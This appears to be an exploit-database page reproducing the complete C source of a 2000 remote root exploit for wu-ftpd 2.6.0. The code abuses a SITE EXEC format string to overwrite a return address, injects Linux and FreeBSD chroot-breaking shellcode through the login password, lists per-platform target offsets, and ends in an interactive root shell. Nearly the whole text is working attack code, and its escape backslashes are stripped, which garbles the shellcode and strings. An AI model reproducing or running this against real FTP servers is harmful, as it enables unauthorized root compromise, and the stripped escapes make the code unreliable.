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# Title : wu-ftpd 2.6.0 Remote Root Exploit
# Published : 2000-11-21
# Author : venglin
# Previous Title : BFTPd vsprintf() Format Strings Exploit
# Next Title : INND/NNRP < 1.6.X Remote Root Overflow Exploit
/*
* (c) 2000 venglin / b0f
* http://b0f.freebsd.lublin.pl
*
* WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)
*
* Idea and preliminary version of exploit by tf8
*
* Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
* Dedicated to ksm.
*
* **PRIVATE**DO*NOT*DISTRIBUTE**
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#define repln if (getreply(0) < 0) return -1
#define replv if (getreply(1) < 0) return -1
#ifdef DEBUG
#define repl replv
#else
#define repl repln
#endif
char usage[] = "usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]nt<-t type> <hostname>";
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
FILE *cin, *cout;
char linuxcode[]= /* Lam3rZ chroot() code */
"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb"
"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31"
"xc9x8dx5ex01x88x46x04x66xb9xffx01xb0x27xcd"
"x80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31xdb"
"x8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8dx5e"
"x08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46x09"
"x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8x88"
"x46x04x31xc0x88x46x07x89x76x08x89x46x0cx89"
"xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0x31"
"xdbxb0x01xcdx80xe8x90xffxffxffx30x62x69x6e"
"x30x73x68x31x2ex2ex31x31x76x65x6ex67x6cx69"
"x6ex40x6bx6fx63x68x61x6dx2ex6bx61x73x69x65"
"x2ex63x6fx6d";
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43"
"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0"
"x8dx5ex01x88x46x04x66x68xffx01x53x53xb0x88"
"xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80x31"
"xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9x31"
"xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75xf1"
"x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcdx80"
"xfex0exb0x30xfexc8x88x46x04x31xc0x88x46x07"
"x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56x0c"
"x52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53x53"
"xb0x01xcdx80xe8x84xffxffxffx30x62x69x6ex30"
"x73x68x31x2ex2ex31x31x76x65x6ex67x6cx69x6e"
"x40x6bx6fx63x68x61x6dx2ex6bx61x73x69x65x2e"
"x63x6fx6d";
struct platforms
{
char *os;
char *version;
char *code;
int align;
int eipoff;
long ret;
long retloc;
int sleep;
};
struct platforms targ[] =
{
{ "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 },
{ "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 },
{ "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 },
{ "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 },
{ "RedHat Linux 6.2-SMP", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 },
{ NULL, NULL, NULL, 0, 0, 0, 0 }
};
long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;
if ((ip = inet_addr(name)) < 0)
{
if (!(hp = gethostbyname(name)))
{
fprintf(stderr, "gethostbyname(): %sn",
strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
int connecttoftp(host, port)
char *host;
int port;
{
int sockfd;
struct sockaddr_in cli;
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_addr.s_addr=getip(host);
cli.sin_port = htons(port);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
return -1;
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
{
perror("connect");
close(sockfd);
return -1;
}
cin = fdopen(sockfd, "r");
cout = fdopen(sockfd, "w");
if (!cin || !cout)
{
close(sockfd);
return -1;
}
return sockfd;
}
int command(const char *fmt, ...)
{
char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;
va_list args;
if (!cout)
return -1;
bzero(buf1, BUFSIZ);
bzero(buf2, BUFSIZ*2);
va_start(args, fmt);
vsnprintf(buf1, BUFSIZ, fmt, args);
va_end(args);
for (p=buf1,q=buf2;*p;p++,q++)
{
if (*p == 'xff')
{
*q++ = 'xff';
*q = 'xff';
}
else
*q = *p;
}
fprintf(cout, "%s", buf2);
#ifdef DEBUG
fprintf(stderr, "--> ");
fprintf(stderr, "%s", buf2);
fputc('n', stderr);
#endif
fputs("rn", cout);
(void)fflush(cout);
return 0;
}
int getreply(v)
int v;
{
if (!(fgets(recvbuf, BUFSIZ, cin)))
return -1;
if (v)
fprintf(stderr, "<-- %s", recvbuf);
return 0;
}
int logintoftp(login, passwd)
char *login, *passwd;
{
do
repl;
while (strncmp(recvbuf, "220 ", 4));
if ((command("USER %s", login)) < 0)
return -1;
repl;
if (strncmp(recvbuf, "331", 3))
{
puts(recvbuf);
return -1;
}
if ((command("PASS %s", passwd) < 0))
return -1;
do
repl;
while (strncmp(recvbuf, "230 ", 4));
return 0;
}
int checkvuln(void)
{
command("SITE EXEC %%p");
repl;
if(strncmp(recvbuf, "200-", 4))
return -1;
if(strncmp(recvbuf+4, "0x", 2))
return -1;
repl;
return 0;
}
int findeip(eipoff, align)
int eipoff, align;
{
int i, j, off;
char *p1;
char eip1[10], eip2[10];
for (i=eipoff;;i+=8)
{
fprintf(stderr, "at offset %dn", i);
strcpy(sendbuf, "SITE EXEC ");
for (j=0;j<align;j++) strcat(sendbuf, "a");
strcat(sendbuf, "abcd");
for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d%%d");
strcat(sendbuf, "|%%.8x|%%.8x");
if (command(sendbuf) < 0)
return -1;
repl;
if (!(p1 = strchr(recvbuf, '|')))
return -1;
strncpy(eip1, p1+1, 8);
strncpy(eip2, p1+10, 8);
eip1[8] = eip2[8] = ' ';
if (!(strcmp(eip1, "64636261")))
{
off = i;
break;
}
if (!(strcmp(eip2, "64636261")))
{
off = i + 4;
break;
}
repl;
}
repl;
return off;
}
char *putshell(type)
int type;
{
static char buf[400];
int noplen;
char *code = targ[type].code;
noplen = sizeof(buf) - strlen(code) - 2;
memset(buf, 0x90, noplen);
buf[noplen+1] = ' ';
strcat(buf, code);
return buf;
}
int overwrite(ptr, off, align, retloc, eipoff)
long ptr, retloc;
int off, align, eipoff;
{
int i, size = 0;
char buf[100];
fprintf(stderr, "RET: %p, RET location: %p,"
" RET location offset on stack: %dn",
(void *)ptr, (void *)retloc, off);
if (off >= 12)
{
strcpy(sendbuf, "SITE EXEC ");
for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");
if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");
if (command(sendbuf) < 0)
return -1;
repl;
size = strlen(recvbuf+4) - 2;
repl;
}
fprintf(stderr, "Reply size: %d, New RET: %pn", size,
(void *)(ptr-size));
strcpy(sendbuf, "SITE EXEC ");
for (i=0;i<align;i++) strcat(sendbuf, "a");
sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
(((int)retloc & 0xff00) >> 8),
(((int)retloc & 0xff0000) >> 16),
(((int)retloc & 0xff000000) >> 24));
strcat(sendbuf, buf);
for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");
if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");
strcat(sendbuf, "%%.");
sprintf(buf, "%d", (int)ptr-size);
strcat(sendbuf, buf);
strcat(sendbuf, "d%%n");
if (command(sendbuf) < 0)
return -1;
return 0;
}
int sh(sockfd)
int sockfd;
{
char buf[BUFSIZ];
int c;
fd_set rf, drugi;
char cmd[] = "uname -a ; pwd ; idn";
FD_ZERO(&rf);
FD_SET(0, &rf);
FD_SET(sockfd, &rf);
write(sockfd, cmd, strlen(cmd));
while (1)
{
bzero(buf, BUFSIZ);
memcpy (&drugi, &rf, sizeof(rf));
select(sockfd+1, &drugi, NULL, NULL, NULL);
if (FD_ISSET(0, &drugi))
{
c = read(0, buf, BUFSIZ);
send(sockfd, buf, c, 0x4);
}
if (FD_ISSET(sockfd, &drugi))
{
c = read(sockfd, buf, BUFSIZ);
if (c<0) return 0;
write(1,buf,c);
}
}
}
int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff;
long ret, retloc;
char login[BUFSIZ], password[BUFSIZ];
opterr = retofs = retlocofs = 0;
strcpy(login, "ftp");
type = -1;
port = 21;
while ((ch = getopt(argc, argv, "l:f:s:t:o")) != -1)
switch((char)ch)
{
case 'l':
strcpy(login, optarg);
break;
case 't':
type = atoi(optarg);
break;
case 'o':
port = atoi(optarg);
break;
case 'f':
retofs = atoi(optarg);
break;
case 's':
retlocofs = atoi(optarg);
break;
case '?':
default:
puts(usage);
exit(0);
}
argc -= optind;
argv += optind;
fprintf(stderr, "PanBobek v1.1 by venglin@freebsd.lublin.plnn");
if (type < 0)
{
fprintf(stderr, "Please select platform:n");
for (i=0;targ[i].os;i++)
{
fprintf(stderr, "t-t %d : %s %s (%p / %p)n", i,
targ[i].os, targ[i].version,
(void *)targ[i].ret,
(void *)targ[i].retloc);
}
exit(0);
}
fprintf(stderr, "Selected platform: %s with WUFTPD %snn",
targ[type].os, targ[type].version);
eipoff = targ[type].eipoff;
align = targ[type].align;
ret = targ[type].ret;
retloc = targ[type].retloc;
retloc += retlocofs;
ret += retofs;
if (argc != 1)
{
puts(usage);
exit(0);
}
strcpy(password, putshell(type));
if ((fd = connecttoftp(*argv, port)) < 0)
{
(void)fprintf(stderr, "Connection to %s failed.n", *argv);
exit(1);
}
(void)fprintf(stderr, "Connected to %s. Trying to log in.n", *argv);
if (logintoftp(login, password) < 0)
{
(void)fprintf(stderr, "Logging in to %s (%s) failed.n",
*argv, login);
exit(1);
}
(void)fprintf(stderr, "Logged in as %s. Checking vulnerability.n",
login);
sleep(targ[type].sleep);
if (checkvuln() < 0)
{
(void)fprintf(stderr, "Sorry, this version isn't"
" vulnerable or uses internal vsnprintf().n");
exit(1);
}
(void)fprintf(stderr, "Ok, trying to find offset (initial: %d)n",
eipoff);
if ((retoff = findeip(eipoff, align)) < 0)
{
(void)fprintf(stderr, "nError finding offset. Adjust"
" align.n");
exit(1);
}
if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
{
(void)fprintf(stderr, "Error overwriting RET addr.n");
exit(1);
}
fprintf(stderr, "Wait up to few minutes for reply. It depends on "
"victim's CPU speed.nEnjoy your shell.n");
sh(fd);
exit(0);
}
// www.Syue.com [2000-11-21]